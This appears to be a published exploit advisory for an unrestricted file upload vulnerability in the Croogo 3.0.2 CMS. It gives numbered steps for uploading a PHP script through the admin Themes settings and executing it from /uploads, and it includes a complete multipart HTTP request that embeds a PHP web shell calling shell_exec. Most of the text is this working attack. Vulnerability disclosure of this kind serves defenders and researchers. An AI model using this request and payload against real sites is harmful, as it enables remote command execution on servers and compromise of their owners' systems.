# Exploit Title: Croogo 3.0.2 - Unrestricted File Upload # Date: 06/12/2021 # Exploit Author: Enes Özeser # Vendor Homepage: https://croogo.org/ # Software Link: https://downloads.croogo.org/v3.0.2.zip # Version: 3.0.2 # Tested on: Windows 10 Home Single Language 20H2 & WampServer 3.2.3 ==> 'setting-43' Unrestricted File Upload <== 1- Login with your privileged account. 2- Click on the 'Settings' section. 3- Go to the 'Themes'. Directory is '/admin/settings/settings/prefix/Theme' 4- Choose a malicious php script and upload it. 5- Go to the '/uploads/(NAME).php' directory. You must change 'NAME' parameter with your filename you uploaded. 6- The malicious PHP script will be executed. POST /admin/settings/settings/prefix/Theme HTTP/1.1 Host: (HOST) User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------360738881613175158033315978127 Content-Length: 970 Origin: http://(HOST) Connection: close Referer: http://(HOST)/admin/settings/settings/prefix/Theme Cookie: csrfToken=c49348b47c99523135d42caefb6da7148946a8d049dc40e4763b8acb570b77d6d9353ee2be724c716679c9d6f7006a0545dbe68fe77bd8e3019994bef968a67a; CAKEPHP=ba820s2lf013a07a2mhg5hccup Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: same-origin Sec-Fetch-User: ?1 -----------------------------360738881613175158033315978127 Content-Disposition: form-data; name="_method" POST -----------------------------360738881613175158033315978127 Content-Disposition: form-data; name="_csrfToken" c49348b47c99523135d42caefb6da7148946a8d049dc40e4763b8acb570b77d6d9353ee2be724c716679c9d6f7006a0545dbe68fe77bd8e3019994bef968a67a -----------------------------360738881613175158033315978127 Content-Disposition: form-data; name="setting-43"; filename="malicious.php" Content-Type: application/octet-stream <?php $command = shell_exec('netstat -an'); echo "<pre>$command</pre>"; ?> -----------------------------360738881613175158033315978127 Content-Disposition: form-data; name="_Token[fields]" c4e0a45b25b5eaf8fa6e0e4ddcd3be00c621b803%3A -----------------------------360738881613175158033315978127 Content-Disposition: form-data; name="_Token[unlocked]" -----------------------------360738881613175158033315978127--